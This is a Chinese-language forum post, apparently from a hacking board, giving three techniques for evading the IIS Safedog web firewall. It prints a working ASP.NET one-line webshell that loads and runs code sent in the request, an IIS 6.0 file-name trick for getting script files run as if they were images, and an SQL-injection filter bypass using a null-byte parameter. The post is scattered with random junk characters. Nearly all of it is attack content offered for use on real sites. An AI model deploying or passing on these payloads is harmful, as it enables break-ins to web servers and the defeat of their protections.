1、绕过IIS安全狗的一句话。7 H# [1 B% C. w. }8 X+ n5 ^) i; c
前几天测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
' ~9 S3 s" w; M<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
/ |0 J! ^. T4 ~1 [5 u7 A, m: o, H4 i' F7 g; W
2、IIS6.0解析漏洞遇到安全狗。
2 ]7 ]9 A" D! f" z文件名为
1 z0 Z+ m" D9 B3 z w, H. u% Phttp://www.xxxxx.com/sh3llc0de.asp;1.jpg1 V' I5 @2 p( |5 J; G1 |* |
+ d% t3 z4 m2 o6 G r
这样的会被IIS安全狗果断屏蔽。3 Q8 l, m! ` G* F# N; R l. P0 [& d
改成如下名称,IIS6一样会解析:( A+ }1 g4 h7 O- L7 }
www.xxxxx.com/;1.asp;1.jpg
2 ~# d( J$ f: o0 y7 h3 S" i& }9 t6 P- m
3、安全狗的注入绕过。- v; o& Q/ p: i# g" g" L
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。! |6 _: y7 b; W6 \( }4 c
但如果:5 H: b, f1 O X9 D
r00ts.asp?r00ts.com=%00.&id=69%20 and 1=1. D+ ?- ~( q% f$ D
就可以成功绕过了。
& e Y8 d5 u" E2 v5 @ u/ O! b$ @0 n W j7 w- Q0 z
! w, ^3 e h- B9 P* D% y3 P3 p6 J |